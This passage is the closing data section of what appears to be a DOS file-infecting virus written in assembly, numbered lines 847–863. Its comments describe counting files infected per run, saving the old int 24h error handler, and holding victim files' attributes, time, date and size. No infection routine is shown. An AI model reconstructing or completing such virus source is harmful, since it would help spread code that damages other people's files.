  847. fname_off   dw      fname1                  ; Offset of Filespec to use
  848. old_dta     dd      0                       ; Old DTA Segment:Address
  849. old_eh_seg  dw      0                       ; old error handler (int 24h) seg
  850. old_eh_off  dw      0                       ; old error handler (int 24h) ofs
  851. inf_count   db      0                       ; How many files we have infected this run
  852. fcb         db      21 dup(0)               ; fcb
  853.   attrib    db      0                        ; file attribute
  854.   f_time    dw      0                        ; file time
  855.   f_date    dw      0                        ; file date
  856.   f_sizeh   dw      0                        ; file size
  857.   f_sizel   dw      0                        ;
  858.   f_name    db      13 dup(0)                ; file name
  859.  
  860.  
  861. cseg        ends
  862.         end        start
  863.